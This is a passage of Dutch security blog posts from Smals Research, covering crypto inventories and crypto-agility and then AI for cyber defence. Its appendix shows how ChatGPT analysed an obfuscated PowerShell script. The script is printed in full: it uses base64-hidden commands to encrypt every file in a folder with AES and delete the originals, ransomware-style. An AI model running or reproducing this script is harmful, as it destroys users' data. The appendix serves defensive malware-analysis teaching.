Crypto risico is de mogelijkheid dat de organisatie schade ondervindt wanneer cryptografie niet doet wat het hoort te doen, onder meer door gebruik van verouderde cryptografische mechanismes of onveilige parameters, door gebrekkig sleutel- en certificaatbeheer of kwetsbaarheden in implementaties van cryptografische algoritmes. In de OWASP top 10, een awareness document voor ontwikkelaars en webapplicatiebeveiliging, staat ‘cryptographic failures’ op de tweede plaats. Voorbeelden zijn de $150M+ Capital One hack waarbij persoonsgegevens van miljoenen gebruikers gecompromitteerd werden ten gevolge van een sleutelbeheerprobleem, en de $200M+ Marriott Hotel hack waarbij door het onvolledig gebruik van encryptie miljoenen paspoortnummers openbaar werden. De cryptografische inventaris, eventueel aangevuld met cryptographic monitoring, maakt cryptografische risico’s inzichtelijk en helpt zo gelijkaardige incidenten te voorkomen. Crypto agility moet ons dan weer toelaten snel te migreren naar veilige cryptografie.

Compliance

Mede als gevolg van dergelijke incidenten stellen auditors zich hoe langer hoe minder tevreden met opervlakkige informatie over het gebruik van cryptografie. Een cyptografische inventaris, eventueel aangevuld met logs van cryptographic monitoring, biedt hen de mogelijkheid om vlot toegang te krijgen tot alle details omtrent het gebruik van cryptografie in de organisatie.

Het is dan ook logisch dat het hebben en onderhouden van een cryptografische inventaris meer en meer aanbevolen of zelfs opgelegd wordt. In de gemeenschappelijke publicatie door NSA, NIST en CISA  Quantum readiness: Migration To Post-quantum Cryptography lezen we bijvoorbeeld:

 “Organizations should create a cryptographic inventory that offers visibility into how the organization leverages cryptography in its IT (Information Technology) and OT (Operational Technology) systems. “

Compliance wordt vooral interessant wanneer de cryptografische inventaris naast gedetailleerde cryptografische aanbevelingen gelegd kan worden. Dat laatste is, zoals reeds vermeld, reeds aanwezig binnen Smals dankzij Smals Research.

Crypto-agility

Een crypto inventaris is een noodzakelijke stap richting cryptographic agility, of kortweg crypto-agility. Het is het vermogen om cryptografische mechanismes, zowel in software, hardware als infrastructuur, te vervangen en aan te passen, zonder dat daarbij de correcte werking van het systeem zelf onderbroken wordt. Op die manier kunnen oudere cryptografische mechanismes uitgefaseerd worden en nieuwere geadopteerd.

Hoewel de definitie van cryptographic agility niet altijd eenduidig is, lijkt onderstaande definitie, bestaande uit drie aspecten, vrij accuraat.

• Het vermogen van systemen om hun beveiligingsalgoritmen af te spreken in real-time en op basis van hun gecombineerde beveiligingsfuncties (dit is de hardware, software en firmware die gebruikt wordt om de veiligheid van een systeem te waarborgen);
• Het vermogen om nieuwe cryptografische functies of algoritmen toe te voegen aan bestaande hardware of software, wat resulteert in nieuwe, sterkere beveiligingsfuncties;
• Het vermogen om cryptografische systemen die kwetsbaar of verouderd zijn geworden, op een elegante manier uit te doven.

Hoe we cryptographic agility meer concreet in de praktijk kunnen brengen en wat de uitdagingen daarbij zijn is voer voor een toekomstig artikel. Wel kan TLS ons alvast inspireren. TLS is een cryptografisch protocol dat is ontworpen om veilige communicatie tussen twee partijen via een computernetwerk mogelijk te maken. Beide partijen spreken met elkaar af welke cryptografische mechanismes ze willen gebruiken voor authenticatie, key exchange, encryptie en hashing. Elke partij ondersteunt enkel die mechanismes die het veilig acht. Dit staat beschreven in een configuratiebestand, wat ons toelaat nieuwe cryptografische mechanismes toe te voegen en oude uit te faseren zonder de werking van de bovenliggende applicatie te beïnvloeden.

Conclusie

Kwantumcomputers worden cryptografisch relevant genoemd wanneer ze voldoende krachtig zijn om de moderne publieke sleutelcryptografie te breken. We staan daar vandaag nog ver van af en er is heel veel onzekerheid. We weten zelfs niet of de mensheid ooit in staat zal zijn om dergelijke machines te bouwen. Toch is het verstandig om het zekere voor het onzekere te nemen en ons daarop voor te bereiden.

De dreiging die momenteel uitgaat van kwantumcomputers en de publicatie van de nieuwe kwantumresistente cryptografische standaarden is dan ook een goede aanleiding om ons een algemenere vraag te stellen: hoe kunnen we onze cryptographic governance matuurder maken, zodat we

1. een beter inzicht krijgen in welke cryptografie er binnen en door de organisatie gebruikt wordt en
2. in staat zijn om relatief vlot te migreren indien nodig.

Dit is relevant, los van de dreiging die uitgaat van krachtige kwantumcomputers.

Smals is vandaag reeds bezig met die voorbereiding. We beschikken reeds over cryptografische aanbevelingen en een cryptografische policy. Maar er is meer nodig, onder meer een cryptografische inventaris en een adoptie van crypto-agility. Dit zijn elementen waar Smals Research de komende periode rond zal werken.

Er zijn vandaag nog heel wat vragen en onduidelijkheden, wat ons niet mag weerhouden reeds in actie te schieten. We gaan er trouwens van uit dat de publicatie van de nieuwe standaarden door het NIST alles in een stroomversnelling zal brengen.

Samengevat en ter afronding citeer ik Dr. Schabhüser, vice president van de Duitse BSI:

“Indien ik bedrijven en organisaties drie adviezen kon geven, zou het zijn

• Integreer het risico in je risk management systeem
• Creër een crypto inventaris
• Implementeer en gebruik crypto-agility”

Aarzel niet ons te contacteren voor meer informatie of eventuele samenwerking.

Dit is een ingezonden bijdrage van Kristof Verslype, cryptograaf bij Smals Research. Het werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Featured image by Michael Shehan Obeysekera

In een vorig artikel hebben we kort uitgelegd wat er achter de term ‘artificiële intelligentie’ schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In een tweede artikel hebben we een kijkje genomen naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We hebben in het bijzonder beschreven hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.

In het laatste artikel van deze serie bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.

Inleiding

Al in 2018 meende Schneier [1] dat cyberdefensie meer zou profiteren van AI-technieken dan cyberaanval, omdat defensie volgens hem in een slechtere positie verkeert dan aanval, juist vanwege de grote menselijke componenten. Bovendien voorspelde hij dat tegenstanders hun aanvalsstrategie zouden blijven verbeteren door middel van automatisering, zodat de enige effectieve manier om deze aanvallen op machinesnelheid te verzwakken zou zijn door middel van automatisering. Deze stelling wordt ook verdedigd door Sarker et al. [2] die stellen dat AI een revolutie teweeg kan brengen op het gebied van cybersecurity, niet alleen door op grote schaal taken te automatiseren, maar ook door menselijke experts te helpen een situatie beter te begrijpen en beslissingen te nemen in echte scenario’s.

Het adviesbureau Gartner verwacht dat AI zal bijdragen aan een vermindering van 30% van het percentage vals-positieven bij het testen van toepassingen en het opsporen van bedreigingen voor 2027 [3]. De nieuwe tools die onlangs zijn aangekondigd door toonaangevende bedrijven in de markt, waaronder CrowdStrike, zouden volgens Gartner inderdaad kunnen helpen om de productiviteit en vaardigheden van beheerders te verbeteren. Er is geen tekort aan ideeën, maar zoals de auteurs van de nota van het adviesbureau aangeven, bestaan de zoek- en analysefunctionaliteiten al, en wat nieuw is, is in wezen de interactiviteit tussen de menselijke analisten en de machine.

Taddeo et al. [4] temperen de hype in AI voor cyberdefensie door erop te wijzen dat het vertrouwen in AI voor de robuustheid, veerkracht en respons van cybersecuritysystemen onterecht is en dringen erop aan dat een vorm van controle noodzakelijk is om beveiligingsrisico’s te beperken. De auteurs gebruiken de term vertrouwen in zijn puurste betekenis: een beslissing om te delegeren, zonder enige vorm van controle of toezicht, een acceptatie van een risico op afhankelijkheid. Ze wijzen op het gebrek aan transparantie van AI en de evolutie van een AI-systeem in de tijd als belangrijke beperkingen en bevelen in het bijzonder een “in-house” implementatie aan voor kritieke nationale infrastructuren en voortdurende monitoring van het AI-systeem en de evolutie ervan.

Dasgupta et al. [5] hebben de meeste recente publicaties over het gebruik van AI op het gebied van cybersecurity beoordeeld. Volgens hen blijft een cruciaal punt de prestaties (in termen van reactiesnelheid, maar ook vermindering van het aantal fout-positieven en fout-negatieven) van detectietools, die grote gevolgen kunnen hebben voor het systeem waarin ze worden ingezet.

In de volgende paragrafen gaan we dieper in op verschillende gebieden van cyberdefensie die baat kunnen hebben bij AI.

Intelligentie over cyberaanvallen

Inlichtingen over cyberbedreigingen is het proces van het verzamelen, analyseren en verspreiden van informatie over huidige en opkomende cyberbedreigingen, zoals actoren, doelwitten, technieken, tools, enz. Deze informatie kan organisaties helpen zich proactief te verdedigen tegen cyberaanvallen door beveiligingsteams tijdig van bruikbare informatie te voorzien.

Tegenwoordig wordt Open Source Intelligence (OSINT) op grote schaal gebruikt door overheden en inlichtingendiensten om cybercriminaliteit te onderzoeken en te bestrijden [6]. Het hoofddoel van het Europese DiSIEM-project¹ was om verschillende bronnen van OSINT-gegevens te integreren in SIEM-systemen (Security Information and Event Management) om te helpen reageren op nieuw ontdekte kwetsbaarheden in de infrastructuur of zelfs om mogelijke opkomende bedreigingen te voorspellen².

In principe zou een Large Language Model (LLM) getraind op grote gegevensbronnen zoals webfora, gespecialiseerde websites over kwetsbaarheden en incidenten, of sociale netwerken kunnen worden gebruikt om inlichtingenrapporten over cyberdreigingen te genereren. LLM’s zouden gebruikt kunnen worden om sneller toegang te krijgen tot technische documentatie en inlichtingen uit gespecialiseerde bronnen. Sewak et al. [8] beweren dat LLM’s automatisch informatie uit verschillende bronnen kunnen extraheren, valideren en samenvatten, zoals dreigingsrapporten, literatuur, scripts enz. Ze wijzen er met name op dat LLM’s kwaadaardige bedoelingen in scripts kunnen identificeren. Hun aanpak is in staat om meer dan 90%³ van de scripts te ontdekken die daadwerkelijk kwaadaardig zijn in een detectietaak.

Detectie en identificatie van cyberaanvallen

AI kan een rol spelen bij de detectie en identificatie van cyberaanvallen door inbraak- en malwaredetectiesystemen te verbeteren en waarschuwingen effectiever te beheren.

Inbraakdetectie

Volgens NIST [9] verwijst een inbraakdetectiesysteem (IDS) naar “het proces waarbij gebeurtenissen in een computersysteem of netwerk worden gemonitord en geanalyseerd op tekenen van mogelijke incidenten.” Hoewel vroege ontwikkelingen van zulke systemen zich richtten op benaderingen die gebaseerd waren op handtekeningen, publiceerde Denning in 1986 een IDS-model [10] gebaseerd op anomaliedetectie⁴ dat vandaag de dag nog steeds de basis vormt van veel systemen. Het belangrijkste voordeel van anomaliedetectiemethoden is dat ze soorten incidenten kunnen detecteren die nog niet eerder zijn gezien. Vandaag de dag zijn het unsupervised machine learning methoden die vaak gebruikt worden voor anomaliedetectie: netwerkactiviteit wordt vergeleken met een vooraf getrainde en genormaliseerde baseline van normaal gedrag, waardoor het systeem onbekende kwaadaardige activiteit kan detecteren, in tegenstelling tot handtekeningmethoden.

Een benadering is om een artificieel neuraal netwerk te trainen om te leren of netwerkverkeer normaal is of overeenkomt met een klasse van aanvallen. In de praktijk gaat dit als volgt:

1. Een expert verzamelt een dataset met zowel normaal netwerkverkeer als aanvallen.
2. Op een zeer krachtige machine wordt een neuraal netwerk getraind om het verschil tussen normaal verkeer en aanvalsverkeer te classificeren.
3. Een kopie van het in de vorige stap geleerde model wordt overgebracht naar het operationele inbraakdetectiesysteem van de organisatie.
4. Het inbraakdetectiesysteem past het model toe op het waargenomen netwerkverkeer.

Er zijn veel leermethoden om uit te kiezen, maar volgens Appruzzese et al. [11], zijn unsupervised leermethoden bijzonder populair voor inbraakdetectiesystemen op communicatienetwerken vanwege de moeilijkheid en de kosten om gelabelde gegevens te verkrijgen. Bovendien is volgens deze auteurs de superioriteit van deep learning-netwerken voor inbraakdetectie in vergelijking met andere AI-technieken niet bewezen en rechtvaardigen de complexiteit en extra computerkosten niet noodzakelijk hun toepassing.

Hier volgen enkele voorbeelden van het gebruik van unsupervised technieken die worden gebruikt voor inbraakdetectie:

• Bohara et al. [12] gebruiken verschillende anomaliedetectietechnieken, waaronder Principal Component Analysis (PCA), partitionering in -means en outlier-detectie op basis van de absolute mediaanafwijking om laterale⁵ bewegingen in een netwerk te detecteren. De auteurs behaalden een true positive rate (TPR) van 88,7% en een false positive rate (FPR) van 14,1%.
• In [13], presenteren de auteurs een methode voor het automatisch genereren van een grijze lijst van externe hosts die een hoge waarschijnlijkheid hebben om betrokken te zijn bij kwaadaardige taggingactiviteiten in verhouding tot de set van alle externe hosts waarmee de beschermde organisatie doorgaans contact opneemt. Hun voorstel is gebaseerd op clusteringstechnieken die worden toegepast op netwerkstromen.
• Om het probleem van onevenwichtigheid tussen het aantal positieve en negatieve samples in inbraaklogs (doorgaans is er zeer weinig kwaadaardig verkeer in vergelijking met legitiem verkeer) aan te pakken, gebruiken Yang et al. [14] een Deep Convolutional Generative Adversarial Network (DCGAN) om een realtime inbraakdetectiesysteem te bouwen. DCGAN houdt een balans tussen positieve en negatieve samples door nieuwe synthetische data te genereren. Om realtime analyse mogelijk te maken, gebruiken de auteurs Gates Recurrent Units (GRU), die efficiënter zijn dan een Long and Short Term Memory (LSTM) recurrent netwerk omdat ze minder parameters gebruiken. Het systeem bereikt een nauwkeurigheid van 99,73%.

Tot slot zijn er ook tools op basis van LLM’s verschenen voor inbraakdetectie. De PentestGPT⁶ tool is bijvoorbeeld een door LLM (in dit geval ChatGPT-4) geoptimaliseerde tool voor het testen van inbraken  die het testen van inbraken automatiseert door testers door de algemene werking en specifieke bewerkingen te leiden. PentestGPT is met succes getest op HackTheBox⁷ en via verschillende Capture the Flag (CTF)-competities op eenvoudige en gemiddelde niveaus.

Malware detecteren

Machine learning kan worden gebruikt voor zowel statische als dynamische analyse van malware. Statische analyse is echter onderhevig aan relatief eenvoudige workarounds door de executable aan te passen zonder de onderliggende logica te veranderen of met meer geavanceerde varianten (bijv. polymorfisme) die de executable automatisch aanpassen.

Dynamische analyse in combinatie met machine learning is effectiever [11]. Maar er zijn verschillende beperkingen voor de toepasbaarheid van de nieuwste academische ontwikkelingen op het gebied van machine learning voor de detectie van malware [15], waaronder:

• Misinterpretatie van de prestatiemeting, deels door het vergeten van de basisfrequentie – een cognitieve bias gekoppeld aan statistische wetten ⁸;
• Testdatabases zijn vaak enkele jaren oud en houden daarom geen rekening met de nieuwe bypassmethoden die worden geïmplementeerd door tegenstanders, of met de nieuwe programmeerinterfaces die beschikbaar zijn. Volgens [16], maakt een groot aantal recente onderzoeken naar federated learning voor inbraakdetectie nog steeds gebruik van publieke databases die voor 2017 zijn gemaakt, en dus met aanvallen die niet noodzakelijk de huidige communicatienetwerken weerspiegelen.

Alert management

Het sorteren van beveiligingsalerts is een relatief tijdrovende taak, maar het kan worden versneld door contextuele informatie beschikbaar te maken voor analisten, zodat ze niet van de ene logging- of analysetool naar de andere hoeven te springen om te begrijpen wat er aan de hand is. Bijvoorbeeld: geolocatie van een IP-adres, naam van de organisatie die het IP beheert, leeftijd van het domein, reputatie van de hashwaarde van een bestand, type van het overeenkomstige bestand, automatische schermafbeelding van een URL, informatie over de host en zijn omgeving, enz. Deze alerts kunnen ook direct worden verrijkt door een LLM (bijv. categorisering, information issue van gespecialiseerde inlichtingendiensten, risicoscore).

Daarnaast kunnen machine-learningtechnieken worden gebruikt om waarschuwingen te filteren, te sorteren, te prioriteren en te aggregeren om triage en incidentrespons te vergemakkelijken. Su et al. [17] stellen bijvoorbeeld een methode voor om fout-positieve filtering te automatiseren met behulp van kernel density estimation (KDE)⁹. Volgens de auteurs vermindert dit de tijd die nodig is om alerts te controleren met 75%.

Reageren op cybersecurityincidenten

De reactie op incidenten is een belangrijk onderdeel van de cybersecuritystrategie van een organisatie. Een goed voorbereide reactie kan de schade van een veiligheidsinbreuk of een cyberaanval helpen beperken. De snelheid en nauwkeurigheid van deze reacties is echter van het grootste belang. LLM’s kunnen helpen deze processen te versnellen en te stroomlijnen, door geautomatiseerde reacties te geven en zelfs te helpen bij het ontwikkelen van incident response plannen. Een van de kenmerken van de LLM-architectuur is de mogelijkheid om natuurlijke, contextgebaseerde tekst te genereren. Dit kan worden gebruikt om een AI-gestuurde assistent voor incidentrespons te maken, die tijdens een incident direct advies kan geven en gebeurtenissen automatisch kan documenteren terwijl ze zich voordoen. PaloAlto XSOAR¹⁰ gebruikt bijvoorbeeld ChatGPT om handleidingen te genereren voor het omgaan met bepaalde aanvallen (zie Figuur 1).

Figuur 1 – Door XSOAR voorgestelde informatie om een reactie op een beveiligingsincident te beheren (uit [18]).

Ferrag et al. [19] gebruiken FalconLLM¹¹ om de ernst en potentiële impact te analyseren van een aanval die is geïdentificeerd door een inbraakdetectiesysteem door deze te vergelijken met de interne database. Op een vergelijkbare manier als PaloAlto XSOAR kan de tool ook suggesties doen voor mogelijke mitigatiestrategieën en herstelprocedures, die als leidraad kunnen dienen voor een responsteam. De voorgestelde antwoorden blijven echter erg algemeen en zijn mogelijk niet bruikbaar voor een ervaren beheerder (zie Figuur 2).

Figuur 2 – voorbeeld van een door FalconLLM voorgestelde risicobeperkende strategie (bron [19]).

Generatieve AI kan ook worden gebruikt om bepaalde aspecten van de analyse van cyberincidenten door analisten in een veiligheidsoperatiecentrum te automatiseren. Volgens A. Krishnan [20] kan ChatGPT bijvoorbeeld worden gebruikt om te beschrijven wat een Powershellscript doet (zie voorbeeld in bijlage). Op dezelfde manier zouden deze tools, omdat ze ook code kunnen genereren, gebruikt kunnen worden om het voor analisten eenvoudiger te maken om loganalysescripts te schrijven (zie bijlage).

De automatisering van de incidentrespons wordt ook overwogen, maar een groot probleem blijft de toewijzing van de verantwoordelijkheid. Dit wordt nog bemoeilijkt door het feit dat AI-systemen tot nu toe niet erg transparant en moeilijk uit te leggen zijn.

Tot slot spelen gedetailleerde rapporten over cybersecurity-incidenten een belangrijke rol bij het helpen van belangrijke stakeholders, waaronder operationele beveiligingsteams en beveiligingsmanagers, om de beveiligingshuishouding van een organisatie beter te begrijpen en te verbeteren. Sommigen overwegen het gebruik van generatieve AI om logs van incidenten te synthetiseren en rapporten te schrijven om sneller actie te kunnen ondernemen.

Veilig code genereren

Kwetsbaarheden in code zijn een terugkerend probleem dat de meeste software treft en een impact heeft op integriteit, vertrouwelijkheid en beschikbaarheid. Er wordt aangeraden om bepaalde programmeertalen te gebruiken waarvan bekend is dat ze minder gevoelig zijn voor klassieke problemen dan andere (bijv. Rust in plaats van C). Code review door andere expertprogrammeurs is ook een veelgebruikte methode.

Maar de analyse van Ganseman [21] roept de vraag op of LLM’s nuttig zijn om fouten of bugs in bestaande code op te sporen of om te helpen veiligere code te schrijven. De moeilijkheid ligt in het feit dat het voorlopig nodig is om de mogelijke plaatsen aan te geven waar de code niet veilig is, dat wil zeggen dat het aan de ontwikkelaar is om te detecteren waar een verbetering mogelijk is. Het kan zijn dat in de nabije toekomst een hele code base aan een security review kan worden onderworpen, maar op dit moment is dit beperkt tot de lengte van de context en hoe preciezer de vraag, hoe beter het antwoord.

Paradoxaal genoeg rapporteerden Perry et al. [22] in een recent onderzoek dat, hoewel assistenten de productiviteit van ontwikkelaars verhogen, deelnemers met toegang tot een assistent gebaseerd op een AI-model (in dit geval OpenAI’s codex-davinci-002) significant minder veilige code schreven dan degenen zonder toegang. Erger nog, deelnemers met toegang tot de assistent geloofden vaker dat ze veilige code schreven dan deelnemers zonder toegang. Het gebruik van wizards vereist daarom de implementatie van systematische codecontrole en statische analyse [21].

Conclusie

Hoewel AI op veel gebieden bliksemsnelle vooruitgang boekt, is de niet te verwaarlozen bijdrage ervan aan de verdediging van IT-systemen nog steeds beperkt: we zijn nog ver verwijderd van tools waarmee het voldoende zou zijn om terabytes aan eventlogs aan te bieden om tekenen van inbraak snel en met weinig fouten te detecteren.

Vandaag de dag wordt er nog steeds veel onderzoek gedaan naar gespecialiseerde statistische en machine learning methoden – zoals anomaliedetectie – en worden deze toegevoegd aan commerciële tools voor inbraakdetectie met het label “AI”. Maar bij nader inzien blijkt AI vooral een nieuwe ‘productiviteitstool’ te zijn voor cybersecurityprofessionals, die helpt bij het automatiseren van bepaalde cyberdefensietaken of bij het faciliteren van incidentrespons en die de verwerking van informatie over bedreigingen vergemakkelijkt, maar niet de menselijke analist vervangt.

Referenties

[1]        B. Schneier, ‘Artificial Intelligence and the Attack/Defense Balance’, IEEE Secur. Priv., vol. 16, nr. 2, pp. 96-96, mrt. 2018, doi: 10.1109/MSP.2018.1870857

[2]        I. H. Sarker, H. Janicke, L. Maglaras, en S. Camtepe, ‘Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper’. arXiv, 9 augustus 2023. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.05126

[3]        J. D’Hoinne, A. Litan, en P. Firstbrook, ‘4 Ways Generative AI Will Impact CISOs and Their Teams’, Gartner, G00793265, jun. 2023.

[4]        M. Taddeo, T. McCutcheon, en L. Floridi, ‘Trusting artificial intelligence in cybersecurity is a double-edged sword’, Nat. Mach. Intell., vol. 1, nr. 12, pp. 557-560, nov. 2019, doi: 10.1038/s42256-019-0109-1

[5]        D. Dasgupta, Z. Akhtar, en S. Sen, ‘Machine learning in cybersecurity: a comprehensive survey’, J. Def. Model. Simul. Appl. Methodol. Technol., vol. 19, nr. 1, pp. 57-106, jan. 2022, doi: 10.1177/1548512920951275

[6]        M. Nouh, J. R. C. Nurse, H. Webb, en M. Goldsmith, ‘Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement’, in Proceedings 2019 Workshop on Usable Security, 2019. doi: 10.14722/usec.2019.23032

[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, en D. Napolitano, ‘Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence’, J. Appl. Secur. Res., vol. 16, nr. 3, pp. 345-369, jul. 2021, doi: 10.1080/19361610.2020.1761737

[8]        M. Sewak, V. Emani, en A. Naresh, ‘CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks’, 2023.

[9]        K. A. Scarfone en P. M. Mell, ‘Guide to intrusion detection and prevention systems (IDPS)’, National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: 10.6028/NIST.SP.800-94

[10]      D. Denning, ‘An Intrusion-Detection Model’, IEEE Trans. Softw. Eng., vol. 13, nr. 2, pp. 222-232, 20.

[11]      G. Apruzzese e.a., ‘The role of machine learning in cybersecurity’, Digit. Threats Res. Pract., vol. 4, nr. 1, pp. 1-38, mrt. 2023, doi: 10.1145/3545574

[12]      A. Bohara, M. A. Noureddine, A. Fawaz, en W. H. Sanders, ‘An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement’, in 2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS), Hong Kong, Hong Kong: IEEE, sep. 2017, pp. 224-233. doi: 10.1109/SRDS.2017.31

[13]      G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, en A. Guido, ‘Identifying malicious hosts involved in periodic communications’, in 2017 IEEE 16th International Symposium on Network Computing and Applications (NCA), Cambridge, MA: IEEE, okt. 2017, pp. 1-8. doi: 10.1109/NCA.2017.8171326

[14]      J. Yang, T. Li, G. Liang, W. He, en Y. Zhao, ‘A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN’, IEEE Access, vol. 7, pp. 83286-83296, 2019, doi: 10.1109/ACCESS.2019.2922692

[15]      L. Cavallaro, J. Kinder, F. Pendlebury, en F. Pierazzi, ‘Are Machine Learning Models for Malware Detection Ready for Prime Time?’, IEEE Secur. Priv., vol. 21, nr. 2, pp. 53-56, mrt. 2023, doi: 10.1109/MSEC.2023.3236543

[16]      J. L. Hernández-Ramos e.a., ‘Intrusion detection based on federated learning: a systematic review’. arXiv, 18 augustus 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.09522

[17]      Y.-H. Su, M. C. Y. Cho, en H.-C. Huang, ‘False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering’, in Proceedings of the 2nd International Conference on Computing and Big Data, Taichung Taiwan: ACM, okt. 2019, pp. 58-62. doi: 10.1145/3366650.3366657

[18]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, IEEE Access, vol. 11, pp. 80218-80245, aug. 2023, doi: 10.1109/ACCESS.2023.3300381

[19]      M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, en T. Lestable, ‘Revolutionizing Cyber Threat Detection with Large Language Models’. arXiv, 25 juni 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2306.14263

[20]      A. Krishnan, ‘4 ChatGPT cybersecurity benefits for the enterprise | TechTarget’, Security. Geraadpleegd: 12 oktober 2023. [Online]. Beschikbaar op: https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise

[21]      J. Ganseman, ‘LLM pour code : the Good, the Bad and the Ugly | Smals Research’, Smals Research Blog. Geraadpleegd: 18 oktober 2023. [Online]. Beschikbaar op: /llms-pour-code/

[22]      N. Perry, M. Srivastava, D. Kumar, en D. Boneh, ‘Do Users Write More Insecure Code with AI Assistants?’ arXiv, 16 december 2022. Geraadpleegd: 3 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2211.03622

Bijlage 1 – Kwaadaardige scriptanalyse met ChatGPT

In het onderstaande voorbeeld zie je het antwoord van ChatGPT 4.0 op de vraag “Wat doet deze code?” gevolgd door een codevoorbeeld. Ondanks de poging tot verduistering en het foutieve commentaar, kan worden gezien dat ChatGPT dit script, dat alle bestanden in de map “C:\local\chat_gpt_ps\test” en de submappen versleutelt, correct analyseert.

Script ingevoerd in ChatGPT

function Compute_SHA256 {
    # Compute SHA 256 of an object in memory
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [String]$salt,
        [Parameter(Mandatory = $true, ParameterSetName = "param")]
        [String]$object
    )
    Begin {
        # Initialise hashing function
        $tmp = New-Object byte[] 16
        $sha1 = New-Object System.Security.Cryptography.SHA256Managed
        $sha2 = New-Object System.Security.Cryptography.AesManaged
        $sha2.Mode = 'CBC' -as [System.Security.Cryptography.CipherMode]
        $sha2.Padding = 'Zeros' -as [System.Security.Cryptography.PaddingMode]
        $sha2.BlockSize = 128
        $sha2.KeySize = 256
        [void][Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($tmp)
        $sha2.IV = $tmp
    }
    Process {
        # Compute hash
        $sha2.Key = $sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($salt))
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="))
        $object2 = Invoke-Expression $dynCmd
        if (!$object2.FullName) {
            break
        }
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="))
        $input = Invoke-Expression $dynCmd
        $output = $object2.FullName + ".xxx"
        $sha2_hasher = $sha2.CreateEncryptor()
        $encryptedBytes = $sha2_hasher.TransformFinalBlock($input, 0, $input.Length)
        $encryptedBytes = $sha2.IV + $encryptedBytes
        $sha2.Dispose()
       
        $e = $output
        $encD = $encryptedBytes
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"))
        Invoke-Expression $dynCmd
        (Get-Item $output).LastWriteTime = $object2.LastWriteTime
        $f = $object2
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
        Invoke-Expression $dynCmd
        return "Sortie: $output"        
    }
    End {
        $sha1.Dispose()
        $sha2.Dispose()
    }
}

$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="))

Invoke-Expression $dynCmd | ForEach-Object {
    $object = $_.FullName
    Compute_SHA256 -salt "salty" -object $object
}

Antwoord van ChatGPT

Deze PowerShell-scriptfunctie, Compute_SHA256, lijkt de functionaliteit te hebben om bestanden op een bepaalde locatie te versleutelen met SHA256 en AES encryptie, en vervolgens de originele bestanden te verwijderen. Hier is een uitleg van de verschillende onderdelen van de functie:

1. Functieparameters: De functie vereist twee parameters: salt, een zoutwaarde die gebruikt wordt voor hashing, en object, een pad naar een bestand dat verwerkt moet worden.
2. Initialisatie:
   • New-Object byte[] 16: Een array van 16 bytes wordt gecreëerd voor gebruik als initialisatievector (IV).
   • SHA256Managed: Een instance van SHA256 wordt gecreëerd voor hashing.
   • AesManaged: Een instance van AES wordt geïnitialiseerd met CBC-modus, padding op ‘Zeros’, een blokgrootte van 128 bits en een sleutellengte van 256 bits.
   • De IV wordt ingesteld met random bytes.
3. Verwerkingslogica:
   • De AES sleutel wordt ingesteld door de SHA256 hash van het zout.
   • Invoke-Expression: Wordt gebruikt om dynamisch commando’s uit te voeren die uit base64-gedecodeerde strings komen. Deze commando’s zijn:
     • Get-Item: Haalt het bestand op dat verwerkt moet worden.
     • ReadAllBytes: Leest alle bytes van het opgehaalde bestand.
     • WriteAllBytes: Schrijft de versleutelde bytes terug naar het bestand met een nieuwe extensie “.xxx”.
     • Remove-Item: Verwijdert het oorspronkelijke bestand.
   • De bestandsnaam van het verwerkte object wordt gebruikt om de outputbestandsnaam op te stellen door er “.xxx” aan toe te voegen.
   • De bytes van het bestand worden versleuteld met de vooraf geconfigureerde AES-instellingen.
   • De lastige schrijf- en verwijdercommando’s zijn ingebouwd in de dynamische commando’s die uitgevoerd worden via Invoke-Expression.
4. Opschoning: Aan het einde van de functie worden de Dispose methoden aangeroepen op de hash- en encryptie-instanties om systeembronnen vrij te maken.
